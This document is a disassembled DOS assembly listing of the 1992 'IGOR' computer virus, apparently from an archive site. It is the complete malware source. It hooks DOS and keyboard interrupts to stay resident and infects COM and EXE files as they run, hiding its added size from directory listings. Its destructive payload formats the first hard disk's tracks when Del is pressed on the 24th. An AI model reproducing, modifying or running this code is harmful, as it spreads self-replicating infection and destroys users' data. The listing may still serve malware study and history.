home *** CD-ROM | disk | FTP | other *** search
-
-
- PAGE 59,132
-
-
-
- ;██████████████████████████████████████████████████████████████████████████
-
- ;██ ██
-
- ;██ IGOR ██
-
- ;██ ██
-
- ;██ Created: 12-Jul-92 ██
-
- ;██ Passes: 5 Analysis Options on: none ██
-
- ;██ (c) 1992 by Igor Ratzkopf - All Rights Reserved July R ██
-
- ;██ ██
-
- ;██████████████████████████████████████████████████████████████████████████
-
-
-
- data_1e equ 16h
-
- data_2e equ 469h ;*
-
- data_3e equ 103h ;*
-
- data_4e equ 1 ;*
-
- data_5e equ 3 ;*
-
-
-
- seg_a segment byte public
-
- assume cs:seg_a, ds:seg_a
-
-
-
-
-
- org 100h
-
-
-
- igor proc far
-
-
-
- start::
-
- jmp short $+3 ; delay for I/O
-
- nop
-
- call sub_1
-
-
-
- igor endp
-
-
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
-
- ; SUBROUTINE
-
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
-
-
- sub_1 proc near
-
- pop bp
-
- sub bp,106h
-
- push ax
-
- push bx
-
- push cx
-
- push dx
-
- push si
-
- push di
-
- push bp
-
- push es
-
- push ds
-
- mov ax,7BCDh
-
- int 21h ; ??INT Non-standard interrupt
-
- cmp bx,7BCDh
-
- je loc_4 ; Jump if equal
-
- xor bx,bx ; Zero register
-
- push cs
-
- pop ds
-
- mov cx,es
-
- mov ax,3509h
-
- int 21h ; DOS Services ah=function 35h
-
- ; get intrpt vector al in es:bx
-
- mov word ptr cs:data_11+2[bp],es
-
- mov cs:data_11[bp],bx
-
- mov ax,3521h
-
- int 21h ; DOS Services ah=function 35h
-
- ; get intrpt vector al in es:bx
-
- mov word ptr cs:data_9+2[bp],es
-
- mov cs:data_9[bp],bx
-
- dec cx
-
- mov es,cx
-
- mov bx,es:data_5e
-
- mov dx,3C3h
-
- mov cl,4
-
- shr dx,cl ; Shift w/zeros fill
-
- add dx,4
-
- mov cx,es
-
- sub bx,dx
-
- inc cx
-
- mov es,cx
-
- mov ah,4Ah
-
- int 21h ; DOS Services ah=function 4Ah
-
- ; change memory allocation
-
- ; bx=bytes/16, es=mem segment
-
- jc loc_4 ; Jump if carry Set
-
- mov ah,48h ; 'H'
-
- dec dx
-
- mov bx,dx
-
- int 21h ; DOS Services ah=function 48h
-
- ; allocate memory, bx=bytes/16
-
- jc loc_4 ; Jump if carry Set
-
- dec ax
-
- mov es,ax
-
- mov cx,8
-
- mov es:data_4e,cx
-
- sub ax,0Fh
-
- mov di,data_3e
-
- mov es,ax
-
- mov si,bp
-
- add si,103h
-
- mov cx,3C3h
-
- cld ; Clear direction
-
- repne movsb ; Rep zf=0+cx >0 Mov [si] to es:[di]
-
- mov ax,2521h
-
- ;* mov dx,offset loc_3 ;*
-
- db 0BAh, 8Fh, 02h
-
- push es
-
- pop ds
-
- int 21h ; DOS Services ah=function 25h
-
- ; set intrpt vector al to ds:dx
-
- mov ax,2509h
-
- ;* mov dx,offset loc_2 ;*
-
- db 0BAh, 1Ah, 02h
-
- int 21h ; DOS Services ah=function 25h
-
- ; set intrpt vector al to ds:dx
-
- push cs
-
- pop ds
-
- loc_4::
-
- cmp cs:data_25[bp],5A4Dh
-
- je loc_5 ; Jump if equal
-
- mov bx,offset data_25
-
- add bx,bp
-
- mov ax,[bx]
-
- mov word ptr ds:[100h],ax
-
- add bx,2
-
- mov al,[bx]
-
- mov byte ptr ds:[102h],al
-
- pop ds
-
- pop es
-
- pop bp
-
- pop di
-
- pop si
-
- pop dx
-
- pop cx
-
- pop bx
-
- pop ax
-
- mov ax,offset start
-
- push ax
-
- retn
-
- data_9 dw 0, 0 ; Data table (indexed access)
-
- data_11 dw 0, 0 ; Data table (indexed access)
-
- loc_5::
-
- mov bx,cs:data_33[bp]
-
- mov dx,cs
-
- sub dx,bx
-
- mov ax,dx
-
- add ax,cs:data_18[bp]
-
- add dx,cs:data_20[bp]
-
- mov bx,cs:data_17[bp]
-
- mov word ptr cs:[216h][bp],bx
-
- mov word ptr cs:[218h][bp],ax
-
- mov ax,cs:data_19[bp]
-
- mov word ptr cs:[20Ch][bp],dx
-
- mov word ptr cs:[212h][bp],ax
-
- pop ds
-
- pop es
-
- pop bp
-
- pop di
-
- pop si
-
- pop dx
-
- pop cx
-
- pop bx
-
- pop ax
-
- mov ax,0
-
- cli ; Disable interrupts
-
- mov ss,ax
-
- mov sp,0
-
- sti ; Enable interrupts
-
- ;* jmp far ptr loc_1 ;*
-
- sub_1 endp
-
-
-
- db 0EAh, 00h, 00h, 00h, 00h
-
- ;* No entry point to code
-
- push ax
-
- in al,60h ; port 60h, keybd scan or sw1
-
- cmp al,53h ; 'S'
-
- je loc_7 ; Jump if equal
-
- loc_6::
-
- pop ax
-
- jmp dword ptr cs:data_11
-
- loc_7::
-
- mov ah,2Ah
-
- int 21h ; DOS Services ah=function 2Ah
-
- ; get date, cx=year, dh=month
-
- ; dl=day, al=day-of-week 0=SUN
-
- cmp dl,18h
-
- jne loc_6 ; Jump if not equal
-
- mov ch,0
-
-
-
- locloop_8::
-
- mov ah,5
-
- mov dh,0
-
- mov dl,80h
-
- int 13h ; Disk dl=drive 0 ah=func 05h
-
- ; format track=ch or cylindr=cx
-
- ; al=interleave, dh=head
-
- inc ch
-
- cmp ch,20h ; ' '
-
- loopnz locloop_8 ; Loop if zf=0, cx>0
-
-
-
- ;* jmp far ptr loc_31 ;*
-
- db 0EAh,0F0h,0FFh,0FFh,0FFh
-
- db 0CFh
-
- loc_9::
-
- pushf ; Push flags
-
- push cs
-
- call sub_2
-
- test al,al
-
- jnz loc_ret_12 ; Jump if not zero
-
- push ax
-
- push bx
-
- push es
-
- mov ah,51h
-
- int 21h ; DOS Services ah=function 51h
-
- ; get active PSP segment in bx
-
- ;* undocumented function
-
- mov es,bx
-
- cmp bx,es:data_1e
-
- jne loc_11 ; Jump if not equal
-
- mov bx,dx
-
- mov al,[bx]
-
- push ax
-
- mov ah,2Fh
-
- int 21h ; DOS Services ah=function 2Fh
-
- ; get DTA ptr into es:bx
-
- pop ax
-
- inc al
-
- jnz loc_10 ; Jump if not zero
-
- add bx,7
-
- loc_10::
-
- mov ax,es:[bx+17h]
-
- and ax,1Fh
-
- xor al,1Dh
-
- jnz loc_11 ; Jump if not zero
-
- and byte ptr es:[bx+17h],0E0h
-
- sub word ptr es:[bx+1Dh],3C3h
-
- sbb es:[bx+1Fh],ax
-
- loc_11::
-
- pop es
-
- pop bx
-
- pop ax
-
-
-
- loc_ret_12::
-
- iret ; Interrupt return
-
- ;* No entry point to code
-
- cmp ax,4B00h
-
- je loc_14 ; Jump if equal
-
- cmp ah,11h
-
- je loc_9 ; Jump if equal
-
- cmp ah,12h
-
- je loc_9 ; Jump if equal
-
- cmp ax,7BCDh
-
- jne loc_13 ; Jump if not equal
-
- jmp short loc_14
-
- db 90h
-
-
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
-
- ; SUBROUTINE
-
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
-
-
- sub_2 proc near
-
- loc_13::
-
- jmp dword ptr cs:data_9
-
- loc_14::
-
- and [bx+si],ah
-
- and [bx+si],ah
-
- and [bx+si],ah
-
- push es
-
- push ds
-
- cmp ax,7BCDh
-
- jne loc_15 ; Jump if not equal
-
- push cs
-
- pop ds
-
- mov dx,4B7h
-
- jmp short loc_16
-
- db 90h
-
- loc_15::
-
- call sub_5
-
- jc loc_18 ; Jump if carry Set
-
- loc_16::
-
- mov ax,4300h
-
- int 21h ; DOS Services ah=function 43h
-
- ; get attrb cx, filename @ds:dx
-
- jc loc_19 ; Jump if carry Set
-
- test cl,1
-
- jz loc_17 ; Jump if zero
-
- and cl,0FEh
-
- mov ax,4301h
-
- int 21h ; DOS Services ah=function 43h
-
- ; set attrb cx, filename @ds:dx
-
- jc loc_19 ; Jump if carry Set
-
- loc_17::
-
- mov ax,3D02h
-
- int 21h ; DOS Services ah=function 3Dh
-
- ; open file, al=mode,name@ds:dx
-
- jc loc_19 ; Jump if carry Set
-
- mov bx,ax
-
- mov ax,5700h
-
- int 21h ; DOS Services ah=function 57h
-
- ; get file date+time, bx=handle
-
- ; returns cx=time, dx=time
-
- mov al,cl
-
- or cl,1Fh
-
- dec cx
-
- dec cx
-
- xor al,cl
-
- jz loc_19 ; Jump if zero
-
- push cs
-
- pop ds
-
- mov data_21,cx
-
- mov data_22,dx
-
- mov ah,3Fh ; '?'
-
- mov cx,20h
-
- mov dx,offset data_25
-
- int 21h ; DOS Services ah=function 3Fh
-
- ; read file, bx=file handle
-
- ; cx=bytes to ds:dx buffer
-
- jc loc_18 ; Jump if carry Set
-
- mov ax,4202h
-
- xor cx,cx ; Zero register
-
- xor dx,dx ; Zero register
-
- int 21h ; DOS Services ah=function 42h
-
- ; move file ptr, bx=file handle
-
- ; al=method, cx,dx=offset
-
- jc loc_18 ; Jump if carry Set
-
- cmp cs:data_25,5A4Dh
-
- je loc_21 ; Jump if equal
-
- mov cx,ax
-
- sub cx,3
-
- mov cs:data_24,cx
-
- call sub_3
-
- jc loc_18 ; Jump if carry Set
-
- mov ah,40h ; '@'
-
- mov dx,offset data_23
-
- mov cx,3
-
- int 21h ; DOS Services ah=function 40h
-
- ; write file bx=file handle
-
- ; cx=bytes from ds:dx buffer
-
- loc_18::
-
- mov cx,cs:data_21
-
- mov dx,cs:data_22
-
- mov ax,5701h
-
- int 21h ; DOS Services ah=function 57h
-
- ; set file date+time, bx=handle
-
- ; cx=time, dx=time
-
- mov ah,3Eh
-
- int 21h ; DOS Services ah=function 3Eh
-
- ; close file, bx=file handle
-
- loc_19::
-
- pop ds
-
- pop es
-
- pop di
-
- pop si
-
- pop dx
-
- pop cx
-
- pop bx
-
- pop ax
-
- cmp ax,7BCDh
-
- jne loc_20 ; Jump if not equal
-
- mov bx,ax
-
- loc_20::
-
- jmp dword ptr cs:data_9
-
- loc_21::
-
- mov cx,cs:data_32
-
- mov cs:data_17,cx
-
- mov cx,cs:data_33
-
- mov cs:data_18,cx
-
- mov cx,cs:data_31
-
- mov cs:data_19,cx
-
- mov cx,cs:data_30
-
- mov cs:data_20,cx
-
- push ax
-
- push dx
-
- call sub_4
-
- sub dx,cs:data_29
-
- mov cs:data_33,dx
-
- mov cs:data_32,ax
-
- pop dx
-
- pop ax
-
- add ax,3C3h
-
- adc dx,0
-
- push ax
-
- push dx
-
- call sub_4
-
- sub dx,cs:data_29
-
- add ax,40h
-
- mov cs:data_30,dx
-
- mov cs:data_31,ax
-
- pop dx
-
- pop ax
-
- push bx
-
- push cx
-
- mov cl,7
-
- shl dx,cl ; Shift w/zeros fill
-
- mov bx,ax
-
- mov cl,9
-
- shr bx,cl ; Shift w/zeros fill
-
- add dx,bx
-
- and ax,1FFh
-
- jz loc_22 ; Jump if zero
-
- inc dx
-
- loc_22::
-
- pop cx
-
- pop bx
-
- mov cs:data_26,ax
-
- mov cs:data_27,dx
-
- call sub_3
-
- jc loc_23 ; Jump if carry Set
-
- mov ah,40h ; '@'
-
- mov dx,data_2e
-
- mov cx,20h
-
- int 21h ; DOS Services ah=function 40h
-
- ; write file bx=file handle
-
- ; cx=bytes from ds:dx buffer
-
- loc_23::
-
- jmp loc_18
-
- sub_2 endp
-
-
-
- data_17 dw 0 ; Data table (indexed access)
-
- data_18 dw 0 ; Data table (indexed access)
-
- data_19 dw 0 ; Data table (indexed access)
-
- data_20 dw 0 ; Data table (indexed access)
-
-
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
-
- ; SUBROUTINE
-
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
-
-
- sub_3 proc near
-
- mov ah,40h ; '@'
-
- mov dx,103h
-
- mov cx,3C3h
-
- int 21h ; DOS Services ah=function 40h
-
- ; write file bx=file handle
-
- ; cx=bytes from ds:dx buffer
-
- jc loc_24 ; Jump if carry Set
-
- mov ax,4200h
-
- xor cx,cx ; Zero register
-
- xor dx,dx ; Zero register
-
- int 21h ; DOS Services ah=function 42h
-
- ; move file ptr, bx=file handle
-
- ; al=method, cx,dx=offset
-
- jc loc_24 ; Jump if carry Set
-
- clc ; Clear carry flag
-
- retn
-
- loc_24::
-
- stc ; Set carry flag
-
- retn
-
- sub_3 endp
-
-
-
-
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
-
- ; SUBROUTINE
-
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
-
-
- sub_4 proc near
-
- push bx
-
- push cx
-
- mov cl,0Ch
-
- shl dx,cl ; Shift w/zeros fill
-
- mov bx,ax
-
- mov cl,4
-
- shr bx,cl ; Shift w/zeros fill
-
- add dx,bx
-
- and ax,0Fh
-
- pop cx
-
- pop bx
-
- retn
-
- sub_4 endp
-
-
-
-
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
-
- ; SUBROUTINE
-
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
-
-
- sub_5 proc near
-
- push si
-
- push cx
-
- mov si,dx
-
- mov cx,128h
-
-
-
- locloop_25::
-
- cmp byte ptr [si],2Eh ; '.'
-
- je loc_26 ; Jump if equal
-
- inc si
-
- loop locloop_25 ; Loop if cx > 0
-
-
-
- loc_26::
-
- cmp word ptr [si-2],544Fh
-
- jne loc_27 ; Jump if not equal
-
- cmp word ptr [si-4],5250h
-
- je loc_30 ; Jump if equal
-
- loc_27::
-
- cmp word ptr [si-2],4E41h
-
- jne loc_28 ; Jump if not equal
-
- cmp word ptr [si-4],4353h
-
- je loc_30 ; Jump if equal
-
- loc_28::
-
- cmp word ptr [si-2],2041h
-
- jne loc_29 ; Jump if not equal
-
- cmp word ptr [si-4],454Ch
-
- je loc_30 ; Jump if equal
-
- loc_29::
-
- pop cx
-
- pop si
-
- clc ; Clear carry flag
-
- retn
-
- loc_30::
-
- pop cx
-
- pop si
-
- stc ; Set carry flag
-
- retn
-
- sub_5 endp
-
-
-
- data_21 dw 0
-
- data_22 dw 0
-
- data_23 db 0E9h
-
- data_24 dw 9090h
-
- data_25 dw 0CD90h ; Data table (indexed access)
-
- data_26 dw 20h
-
- data_27 dw 0
-
- db 0, 0
-
- data_29 dw 0
-
- db 0, 0, 0, 0
-
- data_30 dw 0
-
- data_31 dw 0
-
- db 0, 0
-
- data_32 dw 0
-
- data_33 dw 0 ; Data table (indexed access)
-
- db 15 dup (0)
-
- copyright db '(c) 1992 by Igor Ratzkopf - All '
-
- db 'Rights Reserved July R'
-
-
-
- seg_a ends
-
-
-
-
-
-
-
- end start
-
-